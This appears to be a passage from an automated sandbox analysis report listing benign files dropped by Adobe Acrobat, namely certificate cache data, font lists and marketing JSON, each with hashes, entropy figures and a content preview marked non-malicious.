Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklPm6c7WttfllXlE/HT8k2VllXNNX8RolJuRdxLlGB9lQRYwpDdt:kKhKteT89l7NMa8RdWBwRd
MD5:	C9DA4890A374B700CE9BF7925B451C95
SHA1:	20B64383C3BE2C8AB831DE4117309D779AE98F57
SHA-256:	482046D73E46EDA6B4FC4EA0E978102BC61758EF217FB91867446A8DF227ECA6
SHA-512:	A4FBA17A06B8A377392B0CD800223D4EA3F2B91BF5DCD67516E01AFEECA6D0C5CA0FC0B3AB67E924D91958606B408553680FCAD666D8E42986ABBE6C2D0C14CA
Malicious:	false
Preview:	p...... ........<C_9.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3852

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3852

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3784009514128694
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJM3g98kUwPeUkwRe9:YvXKXcNIJEZc0vQfdGMbLUkee9
MD5:	00043F21A309DB2F6B0B8F3FFDFD1EE9
SHA1:	3ABE92F2B4D5E2D67D86FC5E31DDA82A0206D5E1
SHA-256:	534590014932F4D1AEF2F91FFE4F76A82044120C74F7E41C32E91DC34D86D7B2
SHA-512:	151A4D17E347C0208ED94EE14360DABD8E838E7750015DF58E2EA1D7F6F34774AF169C13144ECC821C18620A86E172B26DAE66DAC720F1F283E0658A8E8AFA33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.327673513930346
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJfBoTfXpnrPeUkwRe9:YvXKXcNIJEZc0vQfdGWTfXcUkee9
MD5:	F0A478DB1C7437BB5F62665FE455F75D
SHA1:	256978CB954F1078978ABBB858AD3E24850C35A6
SHA-256:	6AFCD66BF03F155310CD3575201E562538BC84B273143BD503F7F6B2D22CC83E
SHA-512:	886C4CC775984BEB5DC3544EE38804D61745E418E66944C120BA8D93C86D9ED6B79BC7EFC8166EBBE1258071EB618293333662BBD97F6909CB3DBD353706ED31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.305812428675614
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJfBD2G6UpnrPeUkwRe9:YvXKXcNIJEZc0vQfdGR22cUkee9
MD5:	A33E6AC461D273353E3A490AE0E31FBF
SHA1:	B99EBC003AEE7D204CFAD1EACBA8B2F675986B4B
SHA-256:	D283D3377E1FE4913B4E6446FEF15EDFF58DD352E2BCD0541D8693C33DC43ABD
SHA-512:	A98E1F3780FE68D8B2CD12258BDD1071B27B075139FF7B0A735E04B9AA29C6810D4E2E972AD403356CDD8949D2D24A350D6878B13F095A2C0D576BDBBDDC74FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.365939091471035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJfPmwrPeUkwRe9:YvXKXcNIJEZc0vQfdGH56Ukee9
MD5:	9D334A935E592ED455D35A6BDD8B5893
SHA1:	717EFE92411CE45988D2EAC082918D69A6A7BCC3
SHA-256:	6914D722FF292FC347E11F289D2579F1303974B02009CC3465E4E74040A9ECF6
SHA-512:	8474A9BD113DA5680096FB54B5623DC3DA8078985102F4E82740835C0569C1454C2B188DDF82933F7F1BD7382705DB8BD1FC62B2C7BC8524B44AF60A331741D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691493735691437
Encrypted:	false
SSDEEP:	24:Yv6Xm0EzvQfipLgE9cQx8LennAvzBvkn0RCmK8czOCCSkn:YvBofihgy6SAFv5Ah8cv/k
MD5:	B437EA95E4621EC2D7AD251B2DFFC62E
SHA1:	044E33EB63CEC2B35C90A418E1C30369DC24B119
SHA-256:	062253162A7116C501DA02CA85E0AC77673D230E1B20E23388CDA2628EBD439A
SHA-512:	0FBF4B6BDCEF80D5AECACA9A8D2A24026E1FF56D351E6C28D49B167BE57B572787F2B4CE3CB4F2F384D84FA281210F312E9746203FE99ECC6572C8E19CAA2288
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.312277925014845
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJf8dPeUkwRe9:YvXKXcNIJEZc0vQfdGU8Ukee9
MD5:	2BC63E1EB3406B1B21A1E7404A97068B
SHA1:	9D1DB0CA2B3FE520934479868BB048FE80558814
SHA-256:	97A90E184D031DF26C3F31B9D25366B4683A60039721CF7C26821D1772E9E7D8
SHA-512:	31BFF4D64D8A3A2DE1C4B99F6CBF3DB990CC2514B22F2B6D51C953DF52823606F6249FCE47E5D4B337F058CAD15CD51981059006E82414869D25E29051B0D5A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.31605241757396
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJfQ1rPeUkwRe9:YvXKXcNIJEZc0vQfdGY16Ukee9
MD5:	BFE3C8A8E09F1C8CF1876A6BF5F0EE12
SHA1:	D4744D00E0A7693D0A0F7814559AE635B918DD4B
SHA-256:	B3CA643056465F15A7EA7C7B37609C84019D34BA75F4DA89DF6AB6DCFAFC6520
SHA-512:	300670C14ABDB59A1D166090296E08CC68F658149EE28E84C87551E35B99D70BD5F6F302CF8133B10C1B5D99ED9FFF78263AEC965BD52696034D04C2FE057A04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323040626383537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJfFldPeUkwRe9:YvXKXcNIJEZc0vQfdGz8Ukee9
MD5:	1F913F926888C2FEC0B2EF40DC9CF5BA
SHA1:	EA8F6872F2DB2DB3308EAD4536F69EC7AA874433
SHA-256:	ED5CE925DDEE1EC42956B948D566C5AFDD01D78C0DBB854180DFE1F2504DFB0A
SHA-512:	246F48FD84BE78682636934972DC4706AB95895197CAD66C7999255834B0D323676A3F273509A081BE696A8256EBE1429042C239CF29FB02B8FB50570943E76C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.337992550892411
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJfzdPeUkwRe9:YvXKXcNIJEZc0vQfdGb8Ukee9
MD5:	C7093CBA71E9D2EC06AC3735E0D5D7E0
SHA1:	41D70860CD41B4F70C6764D93FA763DC7B7841FD
SHA-256:	3E82CCE94A9213225B585F06DF12E5343D421CC1E1F44885B88A10CFF1AB0473
SHA-512:	17729AB5B501B118DF57FC4FB70F61D0C72B03DA7D82CF869DF8A50569347544E7E47F1D868AE4C3B2174399FA876FA8F45B949F77CBEFD82996E45436DAC3DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.319023053457943
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJfYdPeUkwRe9:YvXKXcNIJEZc0vQfdGg8Ukee9
MD5:	A08F04EC2B8B0A11BBE5E5B8985DCEE6
SHA1:	38AD9E23F0665E22339D59841A7731DBF0AB0B7F
SHA-256:	CEC7FFE11F64A010DA06D552916521F1C5F869F4E7A15A8C572FD72A81176549
SHA-512:	9DAD1C542326ECDFAF216DA08E2B825A06F95B6DA74347EC1F3BCFCDD03173181CC19B8C238D77E542C90FC34D8B55DACE1730A3E2031F5C80C17062C3D8ADD3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.305707330121449
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJf+dPeUkwRe9:YvXKXcNIJEZc0vQfdG28Ukee9
MD5:	9B89A869325BA09F069D279089BF8476
SHA1:	5C1F35B62523378F78F763B2C9566C2EBF8672A2
SHA-256:	DE32D12E91FF492206C74C6EE3B8C7FA47171D5373C55529269E2B246F879D1D
SHA-512:	20E71AFFB29C4E489F5B47487617CD4F29373C35FBEDEBFC918AEB351F934D5CD28C09EC948D55403AC3FD7A986367C1B94724CD63DF3C77D6A6BE6EFCD1D4CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.302439408496356
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJfbPtdPeUkwRe9:YvXKXcNIJEZc0vQfdGDV8Ukee9
MD5:	17405D9BF4AFC1FB0901FA9BDAD86EE4
SHA1:	9B456A51079A914B49B4466292E8D7DACB1F4500
SHA-256:	E02F868058A43D7A329D4377527E8911391C68AB99E34200D7491B1EC8EA5DF4
SHA-512:	790287F5A71A7CD0D6EF409FEB0E123B39350B7C57FAFA48CDE6EFE98E8715C52FC80F7810D02E03D9839450F52FD1B5EA152001705BFBFB5AEC58734BCDB89B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08bcce3a-e295-4b8f-8b42-ab10b5cd7102","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736714863818,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.30735416860049
Encrypted:	false
SSDEEP:	6:YEQXJ2HXH8CUIJ9VoZcg1vRcR0YXfmoAvJf21rPeUkwRe9:YvXKXcNIJEZc0vQfdG+16Ukee9
MD5:	9C004676170AAB79CA5F9B7555C5DC6D
SHA1:	474F3110F7B4125A36FFBBFD9762BC6DE896B388
SHA-256:	905C6C5C33DAD479DC984813BFF3264F8DA559DA717C6FF08E42BC34AB7D120A
